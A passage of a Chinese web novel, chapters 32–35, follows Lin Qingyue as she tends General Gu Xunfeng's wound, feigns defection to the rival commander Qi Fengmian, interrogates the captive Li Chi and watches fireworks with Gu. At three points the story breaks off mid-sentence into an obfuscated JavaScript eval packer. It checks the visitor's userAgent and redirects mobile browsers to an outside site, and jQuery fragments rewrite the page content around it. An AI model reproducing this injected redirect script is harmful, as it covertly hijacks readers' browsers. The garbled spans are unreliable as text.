外头还在吵着抓人,她听见齐锋眠的声音,是跟着往刚才那支箭的方向去了。她没管,在心里暗骂顾寻风。 好不容易涂完了,林清月压下心里的气要睡觉,帐篷内没有亮灯,林清月也没有力气去亮灯,往床上一躺就要睡过去。 刚闭上眼,传来窸窸窣窣的声音。 “……”林清月噌一下坐起来,看着顾寻风站在帐篷内,一身红衣格外显眼。 32. 夜晚谈心 “顾寻风。” 林清月用口型喊了他的名字。 顾寻风微微点头走到床边坐下,和她隔得近了,才敢说话,说话声音很小:“你有没有事?” 林清月没有说话,黑暗中,那双明亮的眼睛就一直盯着他。 他犹豫了一下,又说:“那一掌没用力,我没想到你会崴到……” “你怎么还不走?”林清月打断了他的话语问。 顾寻风愣怔。 片刻后,他道:“你生气了。” 林清月没客气,回他:“对。” “……” 顾寻风顿时不知道再说什么,他眼神躲了躲,转身想去抓他的脚腕看看,林清月把脚往里一收没让他抓住,而后是命令般的语气:“闭眼。” “什……” “闭、眼。” 林清月的声音听起来像是从牙缝里蹦出来的,顾寻风心中莫名一颤,没敢再反抗,乖乖闭上双眼。 窸窸窣窣一阵后,他感觉到一双手绕过自己腰身,摸到了自己的腰封,要去解开,下意识抬手去制止。 “也不许动。”林清月恶狠狠命令他,“闭眼,噤声,不许动。” 顾寻风慢吞吞放下了手,任由她动作。 林清月从百宝袋掏了药出来,把他腰封一解,上半身衣服被扒开来,便能看见腰腹上那伤口极为明显,还在流着血,她咬着下唇,给他抹了止血的药物,又掏出另外的药往上抹。 “你一时半会也回不去,你想过伤如何处理没?就这样贸然行事……” 顾寻风闭嘴未敢言语。 刚刚她叫他别说话。 药抹在上面是疼的,但他能忍,什么伤都受过了,身体上的或者心理上的,他什么都受过了,没什么不能忍的。 冰凉的药物在伤口上敷好了,林清月下意识弯腰过去吹了一口。 顾寻风身子一抖,猛的睁眼抓住她胳膊,把她往后推,然后就想把衣袍拢起。 林清月装作什么都不知道,制止住他的动作拿过绷带,绷带在他眼前晃了晃。她没说话,但顾寻风懂了,撇过脸,拉着衣服的手也放开了。 林清月低头去给他缠绷带,手臂环着他的腰身绕了一圈。 她忽而开口:“这些事情都是你计划好的吧。” 温热的气息洒在肌肤上,顾寻风身体都是僵的,嘴张了张,但还没说出话,给他缠绷带的林清月继续说:“让李驰故意露出破绽,故意投诚,包括把我的百宝袋给齐锋眠,引我去与他们接触……” “不是。”顾寻风打断了她的话。 林清月低垂着眉睫,认认真真给他缠好绷带,打好结,“……我相信你的,顾寻风,你告诉我你究竟是怎么想的,不许骗我,一个字都不许,不然你什么东西都别想得到。” 空气静谧了一瞬,顾寻风深深呼出口气,都忘记了拢回衣裳,忙着解释。 “李驰投诚,是我对他下的命令,可抓你来,不是我让他做的,我没想到他竟有这样的心思。后来,我让楚才来,你猜对了,百宝袋是我给的,也是我吩咐他那样做……” “也是你吩咐他,将一切都瞒着我。”林清月抬眸看着他,眸色冰冷。 顾寻风张嘴,还未出声,又被林清月打断:“可是你怎么能这么狠,我好疼啊,顾寻风。” “你呢,那一刀扎下去,大半刀身都没入进去,你感觉不到痛吗?” 怎么能对自己这么狠,做做样子就行了啊。 顾寻风抬手,手指轻轻放在了被他打过的地方,声音竟比往日要柔和许多,不再跟个木头一样:“对不起,你还疼吗?” “……”林清月不知道该说他什么好,没有好气地挪开他的手,“早就不疼了。” 之后谁都没再说话,外头灯火明亮,把帐篷内都照亮了些,林清月都能看见面前若隐若现的…… 她眼神一顿,抬手将他衣裳拢好,抬眸,望见他失落的眼神。 “那你还……相信我吗?”他问。 林清月叹气:“刚刚说了的,我相信你。” 帐外,他们的声音明晰,隐隐约约还能听见齐锋眠气急败坏的骂声。林清月却觉得此刻静得都能听见心脏跳动的声音。 突然,顾寻风倾身将她抱住。 林清月抬手搭在他手臂上,下意识想推开,但最后只是捏了捏,没推。 她想到了什么,眼神撇着对方脸色,问:“最近,又在做噩梦?” 隐约感觉到肩上那颗脑袋点了点。 “……我梦见这场仗打起来了。”顾寻风的声音轻轻落在耳边,“梦见我死了。” “你瞎梦什么——!”林清月不敢声音太大,压着声音,音色凶恶,“这都是假的,不许当真知不知道,你听过一句话吗,梦和现实都是相反的。” 林清月推开他,双手往上挪,捧住他的脸,认认真真说:“这场仗打起来是无可避免的事,但我们都会好好的,是我们把他们打得屁滚尿流,知道吗?” 顾寻风垂眸,静静望着她。 “……你听见没有?”林清月捏了捏他的脸。 顾寻风笑了下:“我当然知道。” 他抬手,手心小心翼翼覆在她手背上,头微微偏了偏,把脸更贴近她手心,声音轻和:“我也相信你。” 账内光亮忽明忽灭,顾寻风的衣裳还有些松垮,刚刚弯身抱了她一下,便再次敞开了些,脖子下的锁骨延伸向肩头,泛着若隐若现的光芒。 林清月觉得自己有病,瞥了一眼过去,竟还吞了口口水。 “……那、那将军……” 顾寻风歪歪脑袋,眨眼问:“怎么了?” …… …… “再抱一下?” 账内瞬间安静下来。 林清月脑子一热,双臂一伸勾上他脖子,直接就抱了上去,她埋在对方肩颈,话语中藏不住笑意:“你之前说做噩梦了要我陪你的,还当不当真?” 顾寻风愣了片刻,身子僵住,“……我说过吗?” 然后怀中的姑娘退开了一点,抬头,眸中仿佛装着满天繁星,又似两汪清池,还泛着涟漪,明明什么都没说,顾寻风却从中看出了委屈。 他又忘了什么吗…… 不知道为什么,最近噩梦有些频繁,每次这时候他记性便更加不好,他想,或许真是他的错。 他自己说过的话,却老是忘记。 于是顾寻风也脑子一热,把她腰身一搂,抱入了怀中。 林清月手臂收紧,轻笑,在他耳边说话:“将军,你是不是真的喜欢上我了啊?” 顾寻风猛的清醒,想退开,又被林清月收紧的手臂拉回去,他眼神躲了躲,本搂着她的手放开了,手虚虚握成拳。 他解释:“抱歉林姑娘,我没有其他的想法的,只是林姑娘容貌似仙天资聪颖,所以或许看见你的时候……会好许多。” 林清月没太在意,本也就是一句调侃,她淡淡应一声:“嗯知道啦。” 顾寻风没有说话。 他的确觉得这位林姑娘很漂亮,也的确是在做噩梦的时候看见她,会觉得好很多,但他觉得这样不好,这世上好看的女子有很多,难不成每一个他都是那样的喜欢? 他觉得这样不对,这样只不过是见色起意,这样对她并不好。 他爱忘事,爱做噩梦,更是皇权的一把刀,也不能拖累她。 她是自由的鸟儿,而他只会困住她。 帐外的灯火逐渐消散,人声远去,一切回归寂静与黑暗。 他们紧紧拥抱。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093712|146144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>一切好似都静止了一般,只有外头巡逻的脚步声时不时传来,提醒着他们身处何地。 “对不起,林姑娘。” “我叫林清月。你记性不好,我就多提醒你几遍吧。” 林清月自然不知道顾寻风脑子里都想了些什么,她的一切接近只是贪图他的美色,而知道他是块木头,才这般明目张胆。 总之现在也是名义上的夫妻,这样也不算越距吧? 当然不算。 这么想着,林清月抱了他许久都不松手,渐渐的,她意识模糊,手臂松了松,感觉到顾寻风把她放在了床上躺好。 她还有些意识,看着他在床边整理衣衫,轻轻问了句:“你还疼吗?” 顾寻风道:“不疼。” 说完也正好整理完衣服,他站起来就要走,林清月拉了下他衣角,快睡着了,力气不大,但他仍是感觉到了,并且停住脚步。 林清月眼皮子打架,还是坚持着出声:“你不要相信梦里的事情,既然我可以让你好些,或许这些你可以告诉我,我来帮你分析是真是假……你放心好了,我还记着他们要烧我的事儿呢,不会真的跟他们合作,我是你忠诚的……盟友呀……” 说着说着,声音越来越小,最后消失不见。 顾寻风望过去,见她已经睡着了。顿了顿,他回身,将她头上的簪子取下来放好才离去。 翌日清晨,林清月醒来的时候,看见自己的簪子在枕边放着,她没多想,只当是自己睡掉了下来。 梳洗一番后,她掐着时间去找齐锋眠蹭饭。 齐锋眠似乎知道她要来似的,她掀开帘子时,看见他正在摆筷子,两个碗,两双筷子。 “本来要让人去叫你的,没想到你自己来了,倒是一点也不客气。” 林清月大摇大摆走进来,“我又不是专门来蹭饭的。我们是盟友,我自然要来找你说说接下来怎么办的。” 齐锋眠的眼神转了一圈,落在她腿上,问她:“昨日受的伤怎么样了?” “什么伤?”林清月顺着看过去,“那算什么伤,一觉睡醒已经好多了,至少,不影响走路。” 说着,她已经坐在了桌边,皱着眉愤愤道:“倒是那个家伙,被刺一刀,疼不死他。” 齐锋眠也坐下来,望着她笑:“李驰说你们关系不好,我还不信,昨日你反应倒还挺快,下手也还是这样狠。” 林清月想到她曾经让他们将领断子绝孙……哦不,是差点断子绝孙了的。 她拿起筷子往自己碗里夹菜,语气淡淡,绕开这个话题:“别说我了,大帅也是心思颇深啊,让李驰来试探我是否是真心……我这算是通过考验了?” “自然。” 林清月吃了口饭,“……李驰还在牢里?” 齐锋眠点头。 “既然都是自己人,怎么不放出来?”林清月疑惑。 齐锋眠顿了一顿,似是在犹豫说不说,筷子戳在碗底,发出声响。 林清月观察着他的反应,“唔……若是不想说,就不说呗,我只是好奇问问。” 昨夜跟顾寻风确定了一些事情,但若真是那样,李驰是很危险的,有些事情能说有些事情不能说,真真假假,总是会引人怀疑,齐锋眠是个很精明的人,一着不慎就会暴露。 林清月有些担心她这个继承人的安危。 片刻后。 齐锋眠说:“你不放心,一会我就带你去看看,如何?” 他有这么好心? “其实也不是那么不放心。”林清月斟酌着回话。 齐锋眠笑笑:“昨夜事发突然,所以,今早严刑拷打了一番,他却闭口不言,我很奇怪,明明之前也算是合作愉快……清月姑娘知道这是为什么吗?” 林清月的手一紧。 33. 传递情报 这人心思多变,要真的取得他信任,不是件易事,也不知道任务中那情报究竟是什么,是计划还是其他的什么…… 林清月不敢乱动,只能慢慢打探。 听闻李驰又受刑,林清月咬了下筷子,尽量没让自己的表情太夸张,作思考状说:“李驰终归是与我不一样,我是半道来的,与那军营羁绊不深,而李驰是本地人,忽然觉得背叛不道德了,这也有可能。” 齐锋眠看着她,“又或许……” 林清月被引得抬头看过去。 “或许,昨夜是调虎离山,他们还有其他人去见到了李驰。”齐锋眠认真分析,“昨夜我们搜遍了整个军营,周边也都盯梢很紧,他定是有人接应才能顺利逃脱。” 林清月松口气,“大帅所言极是。不过……我觉得我大概知道是怎么回事,待我去见他,试探试探。” 吃完饭后,齐锋眠如约带她去了牢房,李驰没在牢房内,还被绑在柱子上,身上已经遍体鳞伤。 林清月看着他,与他布满血丝的眼睛对视。 “李驰,你跟那人是一伙的吧。你故意投诚的?” 李驰朝她啐了一口血:“没想到你真投靠他们,叛徒。” 齐锋眠坐在了一旁的椅子上,算是听懂了,皱着眉插嘴:“竟是假意投诚?真是差点就中了圈套……” 一旁的狱卒跟着骂:“这人果真狡猾,如今估计是没想到他们夫人真投靠了我们,昨夜还重伤他们将军,所以气急败坏了吧!” 说着,狱卒抓起一旁的鞭子,想打上去,手都抬起来了,却被林清月一把抢过快速挥鞭,唰的就在李驰身上打了一鞭。 “搞清楚,从来都是你们在逼迫我,不管是最开始,莫名其妙冤枉抓捕,还是后来谈条件留在军营,甚至与你们将军成婚……这些本就不是我所愿。” 林清月极力控制着面部肌肉,面无表情又挥了一鞭。 李驰没有出声,身上皮肉开花,鞭子正好打在上面,他眼睛似乎是哭肿了,现眼泪都哭不出来。他重重呼吸一声:“……打死我你们也不可能战胜将军的,将军依旧会让你们输得一败涂地。” 旁边气愤的狱卒又在找刑具。 林清月咬牙,先狱卒一步走上前去,默默深吸口气,折起鞭子拍打在他脸上,“也对,反正我已经在这里,你活着也没什么用处了。” 说完,她抬手,在他心口重重挥上一鞭。 再继续扬鞭,忽然,有人抓住了她的手腕,齐锋眠拿走了她手上的鞭子,柔声道:“留着还有用。” 林清月问:“那人抢走了大帅的弓,又把计划打乱了,大帅如今是怎么想的?” 齐锋眠把鞭子扔到地上往外走,林清月不经意瞥了眼李驰,与他对上视线,对上的一瞬间,李驰垂下了眼眸。林清月跟上齐锋眠的脚步过去,听见齐锋眠懒懒道:“我能有什么计划,走一步看一步。” 林清月没想到他是这么随性的人,当然,也不排除是他还没那么信任她。 那也正常,就像是李驰,虽然假意投诚了,可不也还是一直关在牢房。 她能出牢房,还多亏了孟放歌—— 想到这,林清月问了一嘴:“孟姐姐也会跟你们一起打仗?” 齐锋眠摇头:“她过几日就回去了,这次主要是来教训我而已。” 也是,他们军营将领都那么多了,根本不缺。 而且听他们之前对话,孟放歌是自己来的,不是奉什么旨意……但林清月还是觉得奇怪,这二人怎么可能就这么信任她,把她放出了牢房? 林清月脚步一顿。 她好似明白了什么。 这孟放歌把她放出来,怕不是搁这儿钓鱼呢吧? 前面,齐锋眠瞥她一眼,出声打乱了她思绪:“林姑娘,我向他们发了挑战书,明日他们便会前来城门宣战,明日可有时间来观战?” “自然有。”林清月望向他,“届时,还麻烦大帅保护一下我了。” “那是自然。” 齐锋眠眼眸含笑。出了牢房,齐锋眠让人把林清月送回帐篷去,美其名曰保护,派了一两个士兵在她帐篷周边护着。 很快,到了明日。 战鼓敲响。 林清月披着齐锋眠给的玄色披风,被带到城墙之上,可以清楚看见下方,江奇云带着黑压压一群士兵在下面,持枪叫嚣。 “狗贼,你把我们将军怎么了,快说?!你快点交出我们将军,不然我将这里夷为平地!” 齐锋眠淡定站在她身旁,手臂弯曲搁在城墙上,向下望,眼神睥睨,“我能怎么,他明目张胆抢了我的弓,我都没去向你们讨要,你们倒是先来送死了。” “你们自己约的战!” 齐锋眠一笑,看着他持枪的手:“江副将手臂好了?还是说,你们偌大桑朝,竟无人敢来——” “老子就算只剩一只手也能打爆你们!” 林清月在上面听得太阳穴直跳,她扯了扯齐锋眠的衣角,“你们今日当真要打?” 齐锋眠看向她,歪歪头:“不妥?” “不是不妥,只是按照顾寻风的性子,恐怕不会就这么简单让军营里的人应战,江奇云此人虽然易怒,但这种大事,不可能擅自作主的。”林清月理性分析,“定是有顾寻风指使,才敢来。而且……” 林清月欲言又止。 齐锋眠挑眉:“清月姑娘还知道什么吗?” 林清月叹口气,犹豫着说:“他们败仗那会儿我还在军营,他们有一种药,可以使得伤口快速愈合,而且关于楚才的身份,顾寻风也早有猜测,恐怕顾寻风早就拉拢了楚才……” “你的意思是,此战也不一定会大获全胜?”齐锋眠微微皱眉。 “当然,也不是百分百不能。”林清月靠近了一些,他便弯身去听,林清月清澈的声音清晰传入耳中,“我可以去拖住江奇云,你们将领破坏阵法即可,他们现如今其实也就江奇云难缠。” 齐锋眠一顿,刚要拒绝,便听林清月又说:“总之大帅也不会出门应战的,不是吗?” 齐锋眠想了想,转向下方,随后吩咐一旁的将领:“保护好姑娘。” 将领领命,林清月则跟着大部队去城门口,骑着一匹乖巧的马儿,看着他们与江奇云的所在的位置越来越近。江奇云的马跟江奇云一样耐不住性子,还没接近,就能看见江奇云的马踱着步子想上前来的样子。 几次下来,江奇云都熟练拉住马,似乎是习惯了。 “终于肯出来了?”江奇云一边拉住自己的马一边开口,“哼,上回大晚上莫名其妙来打我们一顿,这回终于轮到你们了!” 将领冷笑:“上回?上回可是我们损失最大!说起来你杀了我们一个将领的仇都还没报!” 江奇云指着林清月:“是她杀的好吗?我啥也没做啊——” “我?”林清月可怜兮兮眨了眨眼睛,一副要哭出来的样子看向将领,“我那时候、那时候还被他们用刀架着脖子,哪来的功夫杀人啊?他们太过分了,居然就这样把责任推到我身上……” 将领被她的示弱说得脑子一热,拔出大刀指过去:“你别太过分!” “……老子必把你碎尸万段。”江奇云话音刚落,马就冲了上来,他抡起长枪就朝将领而去。 士兵们也都打了起来,两方交战,林清月忍住血腥味的刺激,捏紧缰绳,马带她躲避那些偶尔刺过来的利剑,她另一只手从百宝袋中掏出一个小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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弯刀被弹飞回去,恰时一道人影闪过捏住弯刀刀柄,刀刃直抵江奇云的喉咙。 江奇云松开手,翻身躲过。 还未反应过来,林清月就感觉被人抱了起来,抬眸,正看见齐锋眠冷峻的侧脸,眸中映照着厮杀出的血河,目光凌凌闪着杀意。 她生怕齐锋眠现在就要出手,赶忙扒拉住它的衣领,“冷静,你别出手,现在不行!” 齐锋眠没有看她,脚步却顿了顿,片刻后,他看向将领道:“撤。” 他们撤回去,江奇云也没有继续追,回到军营内,齐锋眠把她放在一块高度刚好的石头上坐着,问:“还有其他伤吗?” 林清月摇头,“……你刚刚从哪来的?我都没注意。” “城墙上。”齐锋眠看了眼她臂膀上流血的伤口,“我去找军医过来,你坐在这儿别动。” 不消片刻,齐锋眠把军医带来给她处理伤口,林清月为了不让自己太疼,转移注意力与齐锋眠说话。 “大帅,你不会是真的没什么计划吧?” 齐锋眠撑着双臂坐在她身边,一笑:“我从来不做计划。不过此事你可别让我表姐知道,她要骂我的。” “大帅居然是这么随性的人……我跟孟姐姐又没那么熟,她说不定还没你信任我呢,我当然不会跟她说什么啦,你放心好了。” 齐锋眠沉默片刻,找话题似的:“你刚刚很厉害。” “……谢谢。你比我更厉害,还是你救我一命。” 林清月淡定回答,然后看着对方耳根微红别开了视线,陷入了繁杂思绪。 气氛不对,终止话题。 不过看他这样子,不太像撒谎,他看着就是会被顾寻风耍得团团转的傻样,还比顾寻风感性一些,没计划也正常了。 那任务中的情报…… 34. 许久不见 林清月还在思索。 “慕夕,怎么让姑娘受伤了?”这时孟放歌走了过来,目光挪到齐锋眠腰间的弯刀上,皱眉,“刀柄沾血……你动手了?” 齐锋眠大梦初醒般回神,慌忙站起来,“表姐,我……” 孟放歌直接一巴掌拍在他脑袋上训斥:“齐慕夕,你也及冠了啊,怎么行事还是如此毫无章法,从前年纪小我不说你什么,现在都是一军统帅了——说,你计划呢?” “……”齐锋眠默了片刻,小声嘀咕:“不也才刚及冠而已。” 孟放歌刚要发作,手都抬起来了,林清月的伤刚好被包扎好,站起来在齐锋眠面前挡了一下,“孟姐姐别生气!” 孟放歌缓缓放下手。 “他是为了救我的,我去帮忙也是我自己提议,我知道你们肯定还不相信我……只是没想到,添了乱。” 林清月自责似的低下头。 孟放歌把手放在她脑袋上揉了揉,声音居然无比温柔:“这都没什么,你安全就好,我知道你这么聪明,肯定猜到我把你放出牢不是因为所谓的信任,但现在都已经过去了。” “不是因为这个?”林清月歪歪脑袋,疑惑,“难道不是为了引出顾寻风,然后把我也一网打尽吗?” “可是——你已经证明自己了呀。”孟放歌笑笑说。 林清月心花怒放道:“孟姐姐放心,你回去后我也会好好帮忙的,绝对不再拖后腿!” 此事就这样过去了,林清月也算是得到了他们的信任,在这里安心养伤,齐锋眠时不时来看看她,孟放歌走的时候她还去送了送。 她为了留在这里算是受了两次伤,也不知道是不是因为此事,齐锋眠对她好了许多,没有之前那样句句试探,还带她去牢房。现在,她在帐篷里吃喝不愁,只不过,不管是直接还是间接问,齐锋眠都不透露李驰的近况。 “总之他——我还要留着抓住那个顾寻风,他不能就这样死掉。” 那不是更惨了,林清月在心里说。 虽是这么想着,但她还是叹气道:“留着也是一个祸患啊。” 他们刚送完孟放歌走,因为她受了伤,孟放歌推迟了日程,现在已经过了十天,林清月想先想办法见到李驰,做那个任务。 她算了一下,李驰的任务完成可以直接加到90%的进度,然后再完成那个情报的任务,应该就差不多了。 他们坐在草坪上。林清月偏头,看想枕臂躺下的齐锋眠,伸手拿出他嘴里叼的不知从哪扯来的草,“认真一点,我们在说正事,拿出初见时候狂炫酷霸拽的那股劲来——” 齐锋眠直起身子忽然靠近,问:“你喜欢初次见面那样?” 林清月:“?” 她一巴掌过去捏住对方下巴,把他推走,“讲正事,李驰这人既然不能死,那我想,他应当还能有一份用处。” 齐锋眠终于正了正神色,“你想见他是吗。” 林清月分析:“现在的我暂时还只有那个小炸弹,只凭我一人想造出威力更大的,太难了,还是需要人帮忙。你们这里的士兵我信不过,李驰我试探过他,他底子不错,可以帮到我的忙。” 齐锋眠默了默,语气古怪:“你早说嘛,你教我,我帮你啊。你连我都信不过吗?” “这最主要的不是信不信得过的问题,是能力问题。” “……” 林清月见他有些不悦的样子,哀伤地叹口气:“我的家乡很远很远,我是偶尔来到这里的,队伍不合,我总一个人,李驰是我好不容易才碰到的一个……没想到如今成了对立的局面。” 齐锋眠看了她一眼,又立马垂下眼眸。 “……慕夕?”林清月小心翼翼。 齐锋眠猛的看向她。 林清月抿唇一笑:“上回听见孟姐姐这么叫你,这是你的表字吧?” “你——竟然还记得?” “自然记得,后来我还特意问了问孟姐姐。”她仰头看向天空,“经历这么多,我还以为我们也算是朋友了,没想到你还是不信任我。” 她躺下去,又觉得地上的草扎人,坐了起来,整理身上孟放歌送她的白衣裳,还是不能在地上乱滚,容易脏。 “罢了,从家乡过来这么些时日,我也习惯了,就这样吧,我回去休息了,明日我会开始准备东西帮你们打胜仗的。” 林清月起身,理着头上的发簪往自己帐篷走。 自她喊了他表字,齐锋眠都没有再说话,第二天也一天都没有来找过她。林清月都怀疑这表字在这个世界,是不是同辈朋友之间叫的了。 林清月耐心等待,借了笔墨,在帐篷里画了一天的图纸。 又过了一天,刚巧图纸快画完,士兵说齐锋眠叫她过去。 她在图纸上匆匆补了几笔,带着这张图纸去到齐锋眠的帐篷,彼时,齐锋眠正在检查重新画的布防图。 林清月没有打扰,安安静静在旁边等了一会。齐锋眠看完布防图,交给士兵吩咐了几句,才看向她,眼神有些犹豫。 “大帅看看这个。”林清月把自己的图纸摊开在他面前,“这个威力会比我之前用的小炸弹大许多,材料你们不用操心,人手你们也不用提供,你们专心备战,我自己可以……” “我带你去见李驰。”齐锋眠打断她,再次看过来,目光明亮了许多,当然也可能是他比较黑,对比太强烈,总之,语气也是明晰了不少,“清月姑娘,走吧。” 林清月跟着他去往牢房。 李驰被关在了牢房最深处,林清月过去的时候,他身上刚添新伤。 “他就在这里,你去谈吧,要我回避吗?”齐锋眠指了指坐在角落的小血人,又看向林清月,“不过他这个样子,你确定还要他,他真的能帮上忙吗?” 林清月朝他笑,歪歪头:“大帅不放心就在这看着就行,我有药可以给他治治伤,当然,大帅同意的话。” 齐锋眠心跳一顿,避开她的眼神往旁边挪了一步,“我就在牢房外等你。” 林清月进去,边走边在百宝袋中掏药,看了看他身上伤口,挑拣了些太严重以及手上的处理,期间李驰醒了,看看她,随即又看到牢房门口的背影,顿时有些疑惑。 “嘶。”他皱皱眉,下意识收手,但被拉着动不了。 林清月见他满脸疑惑看着自己,清清嗓子:“咳……醒了?别这么看着我,只是现在你还对我们有用,不然你早死了。” 李驰眯了眯双眼,靠回去,任由她处理伤口,“……我不会帮你们做什么的,死也不会。” “死?谁说要让你死了?”林清月笑笑,正好给他双手包扎好。 她擦擦自己的手,盘腿坐在李驰面前,从腰带中掏出一块红色布料。 “顾寻风现在可是自顾不暇,之前就受了重伤,可跑不远,我们一直在抓他,现在处境……可不太好。” “你们把将军怎么了?!”李驰看着她,语气急切,眸中却只有疑惑,朝她挤眉弄眼的。 林清月拍拍手把药瓶放在一边,靠他近的位置,平静道:“你帮我做一样东西,我们就不再追捕他。” 李驰咬牙:“……不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125860|146144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 林清月:“只要你完成了,我就放你回去。” 李驰依旧不肯:“谁知道你们安的什么心,把我用完就丢也不是没有可能。” 林清月还要说些什么,这时齐锋眠背靠着牢门说话了,语气傲慢:“小兵小卒,谁在意,你能用得上才留你一命,总之你回去就算通风报信也是必输,谁管你。” 李驰垂眸,似是在思考,片刻后,他答应了:“好,我帮你们,但你们要遵守承诺。” 出去牢房后,齐锋眠对她说:“此人没有表面上那么蠢的,不过就算到时候真的放回去了,也没什么,这样说了,他或许还会赌一把能活着回去,会答应。” 林清月自然是附和点头。 齐锋眠抱胸走在前面,他一身米白色的衣裳,衣摆和脑后的小马尾随着步伐摆动,散下的发丝也不规矩跑到了肩头。林清月往旁边挪了挪,免得被他的头发甩到脸。 他这一身倒显得黄黑的皮肤白了些,只是在她面前还不够看。 齐锋眠睨她一眼,放慢脚步走在她身旁,“这些事情就交给你了,你那图纸我也看不懂,我会派人跟着你的,保证你的安全。” 林清月点头。 “还有,那些人不会再找你什么麻烦的,他们不会再有其他心思,你放心就好,你的投诚之心我都看在眼里——” “那你呢?”林清月淡淡瞥他,见他停了脚步,又问一句:“你的心思呢?” 齐锋眠眨眨眼,装作不知道,“我没什么心思。” 林清月也停了脚步,转身面对着他,一桩一件数落起来:“初次见面,你试图逼迫我服从你,又莫名其妙接受我的合作,还多次救我,就连最开始抓我来,也不只是李驰的主意吧?” 虽然李驰的确一直跟她不对付,但不至于真的狠心到这种地步。 齐锋眠看着她,一件件认真解释:“初次见面,我没有那种意思,我只是想吓吓你,你看你现在不就被我唬住了?的确,抓你来是我的主意,但李驰他也没安什么好心,他也提供了信息让我能抓到你不是吗?” 林清月无言。 沉默半晌,憋出一句:“你幼不幼稚。” 她不再跟齐锋眠说话,转身回去自己帐篷,既然李驰已经见到了,药也留在那了,事情也谈好了,接下来就简单多了,她每日的日程就是带着齐锋眠那几个监视她的人去跟李驰讲解图纸,能动手是三天后。 其实还能更快,但李驰似乎的确挺有兴趣的,问了她许多基础知识,还想问那大炮是怎什么原理,但碍于有其他人在,没问成。 林清月已经很久没有看见顾寻风了,不知道是不是在暗处观察。 齐锋眠倒是日日都要来找她,讲些有的没的,心思昭然若揭,就差把喜欢写脸上了,林清月当然拒绝过,但耐不住对方死皮赖脸。 林清月想,到时候发现自己被骗了又要说她骗人感情。 可就在一个军营,还是合作关系,避又避不开。 就在这样胆战心惊的日子里度过,林清月见李驰那边差不多要完成了,开始跟齐锋眠商量放李驰回去。 约定好了时间,她回到帐篷,照例熄灯睡觉。 刚把披风接下来放好,背后忽然有人捂住她的口鼻。 林清月扯住对方手腕,惊慌地抬头去看。 看到一双清亮的眼眸。 “……”林清月眼睛一眯,在那手腕上揪了把肉,对方才放开。 她回身,望着他冷哼一声。 “这么久不见,突然过来,又做什么噩梦了?” 35. 大战前夜 顾寻风背对着帐外的火光,看不清其中神色,林清月只听见他淡淡说了句:“没有做噩梦。” “没有?那是来找我——” 林清月想,不是做噩梦了,这样涉险来找她,那多半是跟计划有关,来叮嘱她些什么的。但话还没说完,顾寻风忽然上前几步揽住她腰身,她还没反应过来,就被人带离了帐篷。 应该是早就看好了路线,路上并没有被发现。 林清月被一路揽着,很快,两人到了一片空旷的草地,面前是一片浅浅的湖泊,湖泊对面便是树林。 被放下来后,林清月稳了稳身形,看向顾寻风。 “你——” 话仍是没说出来。 在顾寻风身后,临沙关的方向,炸开五颜六色的烟花,映照着他的面容,他没有回头去看,只是站在她面前,只望着她眼中璀璨的烟火。 他道:“今天临沙关很热闹。” 林清月想了想:“过年?好像也是了,差不多……可惜,我和你,还有李驰都不在。” 顾寻风道:“李驰做了坏事,活该。这烟花,我带你看了,也算是参与进去了。” 林清月轻笑,伸出手指点了点他胸口:“这么想着我,莫不是真的喜欢我了?那个齐锋眠天天追着我,你吃醋了,按捺不住了?” 顾寻风当即摇头,眼神躲开,“没有,我不喜欢。” “我不信。” 这么好的气氛,林清月调戏上头,抬脚往他的方向走,一步步逼近,直到他退不了了,身后就是湖泊。 她笑眼弯弯,眸中盛着烟火,还有无措的少年,话语带着勾子似的吊着人:“你一定是喜欢我。喜欢我才会跟我合作,喜欢我才会跟我成婚,喜欢我才会带我来看烟花。” “不……” “齐锋眠就喜欢我,他就千方百计要跟我合作,你肯定也是这样,你还跟我成婚了。” 林清月说得理直气壮。 可在说到齐锋眠的时候,顾寻风突然就哑火了。 他心中泛起一股很奇怪的感觉,脑子里全是齐锋眠贱嗖嗖的样子…… 他决定把齐锋眠新画的布防图也偷了。 做出这个决定后,顾寻风又认真想了想,他看向林清月,问:“你喜欢我吗?” “嗯?”林清月懵了一下。 这人是不是想反将她一军? 真是狡诈。 想到这,林清月切一声,转过身去背对着他,“怎么可能!我可是家里唯一的小明珠,能配得上我的那必须门当户对,要与我一般才华横溢、名满京都的才子才行。” 顾寻风淡淡的声音从身后传来:“苏周城这样的公子不少,这样说的话,林姑娘已有心悦之人?” “没有这样的人配得上我。” 林清月转身再次面对他。 他站在湖边一动不动,烟花不断在天空炸开,明灭间,林清月见他不在意地笑了下:“哦,这样啊。” 林清月张张嘴,还没说话,听见顾寻风声色比她还傲,抱起佩剑道:“我还以为林姑娘是喜欢我,才想用这种方法来撩拨我。既然不喜欢,我说不喜欢你,为何不信?” 林清月不示弱,靠近他几步,盯着他的眼睛,承接着他眸中的狂傲,“本小姐调戏人还需要理由?” 顾寻风笑:“怎么没见你调戏齐锋眠那个狗贼?” “骂得好脏啊。”林清月嘻嘻一笑,歪着脑袋,“夫君。” 说着,她朝前一步。 